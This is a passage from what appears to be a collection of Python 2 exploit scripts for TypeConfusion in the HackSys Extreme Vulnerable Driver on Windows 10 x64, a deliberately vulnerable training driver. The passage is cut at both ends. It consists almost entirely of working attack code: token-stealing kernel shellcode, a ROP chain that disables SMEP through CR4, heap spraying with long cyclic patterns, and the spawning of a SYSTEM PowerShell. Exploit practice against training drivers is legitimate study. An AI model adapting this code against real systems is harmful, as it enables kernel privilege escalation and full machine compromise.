w2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn'
174 |     
175 |     if not rop:
176 |         spray_data = pattern
177 |     else:
178 |         spray_data = 'A' * 7472 + rop + 'B' * (0x2000 - 7472 - len(rop))
179 |     
180 |     spray_buffer = alloc_buffer(spray_data)
181 |     
182 |     return spray_buffer
183 | 
184 | def resolve_api(dll_name, proc_name):
185 |     '''
186 |     resolve API
187 |     '''
188 |     windll.kernel32.LoadLibraryA.argtypes = [LPCSTR]
189 |     windll.kernel32.LoadLibraryA.restype = HANDLE
190 |     
191 |     windll.kernel32.GetProcAddress.argtypes = [HANDLE, LPCSTR]
192 |     windll.kernel32.GetProcAddress.restype = LPVOID
193 |     
194 |     hDll = windll.kernel32.LoadLibraryA(dll_name)
195 |     if not hDll:
196 |         print '[-] Failed to load library: %s' % dll_name
197 |         return None
198 |     else:
199 |         print '[+] DLL loaded: %s at 0x%016x' % (dll_name, hDll)
200 |         proc = windll.kernel32.GetProcAddress(hDll, proc_name)
201 |         return proc
202 | 
203 | def build_adhoc_code(buff, object):
204 |     '''
205 |     build ad-hoc code
206 |     '''
207 |     NtMapUserPhysicalPages = resolve_api('ntdll', 'NtMapUserPhysicalPages')
208 |     DeviceIoControl = resolve_api('kernel32', 'DeviceIoControl')
209 |     if not NtMapUserPhysicalPages or not DeviceIoControl:
210 |         return None
211 |     
212 |     print '[+] NtMapUserPhysicalPages = 0x%016x' % NtMapUserPhysicalPages
213 |     print '[+] DeviceIoControl = 0x%016x' % DeviceIoControl
214 |     
215 |     bytes_retn = c_int(0)
216 |     object_buffer = alloc_buffer(object)
217 |     code = ''
218 |     code += mov_r8(buff)
219 |     code += mov_rdx(0x400)
220 |     code += mov_rcx(0)
221 |     code += call_func(NtMapUserPhysicalPages)           # see http://j00ru.vexillium.org/?p=769
222 |     code += push_qword(0)
223 |     code += push_qword(addressof(bytes_retn))
224 |     code += push_qword(0)
225 |     code += push_qword(0)
226 |     code += mov_r9(16)
227 |     code += mov_r8(object_buffer)
228 |     code += mov_rdx(ioctl_TypeConfusion)
229 |     code += mov_rcx(hFile)
230 |     code += call_func(DeviceIoControl)                  # TypeConfusionIoctlHandler
231 |     code += add_rsp(0x20)                               # clear stack args
232 |     code += retn()
233 |     
234 |     code_buffer = alloc_buffer(code)
235 |     
236 |     return code_buffer
237 | 
238 | def open_device():
239 |     '''
240 |     (re)open vulnerable device
241 |     '''
242 |     global hFile
243 |     
244 |     if hFile > 0:
245 |         windll.kernel32.CloseHandle(hFile)
246 |     
247 |     hFile = windll.kernel32.CreateFileA(
248 |         device_name,
249 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
250 |         0x00000001,                                     # FILE_SHARE_READ
251 |         0,                                              # NULL
252 |         3,                                              # OPEN_EXISTING
253 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
254 |         0)                                              # NULL
255 |     
256 |     if hFile == -1:
257 |         print '[-] Failed to open device: %s' % device_name
258 |         return False
259 |     else:
260 |         print '[+] Device opened successfully: %s' % device_name
261 |         return True
262 | 
263 | def get_kernel_base():
264 |     '''
265 |     find base address of the kernel via EnumDeviceDrivers
266 |     '''
267 |     array = c_ulonglong * 0x400
268 |     addr = array()
269 |     
270 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
271 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
272 |     
273 |     res = windll.psapi.EnumDeviceDrivers(
274 |             cast(byref(addr), POINTER(LPVOID)),
275 |             sizeof(addr),
276 |             byref(c_ulong(0)))
277 |     if not res:
278 |         return None
279 |     
280 |     # Kernel is the first entry of the result
281 |     return addr[0]
282 | 
283 | def break_code():
284 |     import time
285 |     time.sleep(0.5)
286 |     windll.kernel32.DebugBreak()
287 | 
288 | if __name__ == '__main__':
289 |     if not open_device():
290 |         sys.exit(1)
291 |     
292 |     base_addr = get_kernel_base()
293 |     if not base_addr:
294 |         print '[-] Failed to obtain Kernel base'
295 |         sys.exit(1)
296 |     print '[+] Kernel base address: 0x%016x' % base_addr
297 |     
298 |     shellcode_addr = alloc_buffer(shellcode())
299 |     if not shellcode_addr:
300 |         print '[-] Failed to allocate shellcode'
301 |         sys.exit(1)
302 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
303 |     
304 |     ropchain = build_ropchain(base_addr, shellcode_addr)
305 |     spray_buffer = alloc_spray(ropchain)
306 |     
307 |     object = 'A' * 8 + \
308 |              struct.pack('<Q', base_addr + 0x21d754)    # add rsp, 0x98; ret;
309 |     code_buffer = build_adhoc_code(spray_buffer, object)
310 |     
311 |     print '[+] Ad-hoc code alloced at: 0x%016x' % code_buffer
312 |     
313 |     print '[+] Executing ad-hoc code'
314 |     
315 |     WINFUNCTYPE(None)(code_buffer)()
316 |     
317 |     # Got SYSTEM shell?
318 |     import os
319 |     os.system("powershell.exe")
320 |     
321 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/TypeConfusion_v3.00.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v3.00 TypeConfusion exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_TypeConfusion = 0x222023
 12 | 
 13 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 14 | hFile = None
 15 | 
 16 | def pusha():
 17 |     '''
 18 |     alernative to pusha on x86
 19 |     '''
 20 |     # assembled with metasm
 21 |     code = ''
 22 |     code += '\x50'                                      # push rax
 23 |     code += '\x53'                                      # push rbx
 24 |     code += '\x51'                                      # push rcx
 25 |     
 26 |     return code
 27 | 
 28 | def popa():
 29 |     '''
 30 |     alternative to popa on x86
 31 |     '''
 32 |     # assembled with metasm
 33 |     code = ''
 34 |     code += '\x59'                                      # pop rcx
 35 |     code += '\x5b'                                      # pop rbx
 36 |     code += '\x58'                                      # pop rax
 37 |     
 38 |     return code
 39 | 
 40 | def mov_rcx(value):
 41 |     '''
 42 |     mov rcx,value
 43 |     '''
 44 |     code = '\x48\xb9' + struct.pack('<Q', value)
 45 |     return code
 46 | 
 47 | def mov_rdx(value):
 48 |     '''
 49 |     mov rdx,value
 50 |     '''
 51 |     code = '\x48\xba' + struct.pack('<Q', value)
 52 |     return code
 53 | 
 54 | def mov_r8(value):
 55 |     '''
 56 |     mov r8,value
 57 |     '''
 58 |     code = '\x49\xb8' + struct.pack('<Q', value)
 59 |     return code
 60 | 
 61 | def mov_r9(value):
 62 |     '''
 63 |     mov r9,value
 64 |     '''
 65 |     code = '\x49\xb9' + struct.pack('<Q', value)
 66 |     return code
 67 | 
 68 | def push_qword(value):
 69 |     '''
 70 |     mov rax,value; push rax
 71 |     '''
 72 |     code = ''
 73 |     code += '\x48\xb8' + struct.pack('<Q', value)
 74 |     code += '\x50'
 75 |     return code
 76 | 
 77 | def add_rsp(value):
 78 |     '''
 79 |     add rsp,value
 80 |     '''
 81 |     code = '\x48\x83\xc4' + chr(value)
 82 |     return code
 83 | 
 84 | def sub_rsp(value):
 85 |     '''
 86 |     sub rsp,value
 87 |     '''
 88 |     code = '\x48\x83\xec' + chr(value)
 89 |     return code
 90 | 
 91 | def call_func(addr):
 92 |     '''
 93 |     sub rsp,0x20; mov rax,addr; call rax; add rsp,0x20
 94 |     '''
 95 |     code = ''
 96 |     code += sub_rsp(0x20)                               # alloc shadow space
 97 |     code += '\x48\xb8' + struct.pack('<Q', addr)
 98 |     code += '\xff\xd0'
 99 |     code += add_rsp(0x20)                               # clear shadow space
100 |     return code
101 | 
102 | def retn():
103 |     '''
104 |     ret
105 |     '''
106 |     code = '\xc3'
107 |     return code
108 | 
109 | def shellcode():
110 |     '''
111 |     token stealing shellcode
112 |     '''
113 |     # assembled with metasm
114 |     # steal token
115 |     code = ''
116 |     code += pusha()
117 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
118 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
119 |     code += '\x48\x89\xc3'                              # mov rbx,rax
120 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
121 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
122 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
123 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
124 |     code += '\x75\xe5'                                  # jnz $-0x19
125 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
126 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
127 |     code += popa()
128 |     code += '\x48\x81\xec\xe0\x01\x00\x00'              # sub rsp,0x1e0
129 |     code += '\x48\x31\xc0'                              # xor rax,rax
130 |     code += '\xc3'                                      # ret
131 |     
132 |     return code
133 | 
134 | def alloc_buffer(data):
135 |     '''
136 |     alloc buffer and copy data
137 |     '''
138 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
139 |     windll.kernel32.VirtualAlloc.restype = LPVOID
140 |     
141 |     buffer = windll.kernel32.VirtualAlloc(
142 |         0,
143 |         len(data),
144 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
145 |         0x40)                                           # PAGE_EXECUTE_READWRITE
146 |     
147 |     memmove(buffer, data, len(data))
148 |     
149 |     return buffer
150 | 
151 | def build_ropchain(kernel_base, shellcode_addr):
152 |     '''
153 |     trampoline to shellcode
154 |     '''
155 |     chain = ''
156 |     chain += struct.pack('<Q', kernel_base + 0x1684ef)  # pop rax; pop rcx; ret;
157 |     chain += struct.pack('<Q', 0x4141414141414141)      # filler
158 |     chain += struct.pack('<Q', 0x506f8)                 # rcx
159 |     chain += struct.pack('<Q', kernel_base + 0x11c667)  # add rsp, 0x118; ret;
160 |     chain += struct.pack('<Q', 0x4141414141414141) * 35 # filler
161 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
162 |     chain += struct.pack('<Q', shellcode_addr)
163 |     
164 |     return chain
165 | 
166 | def alloc_spray(rop):
167 |     '''
168 |     allocate data to spray
169 |     '''
170 |     pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6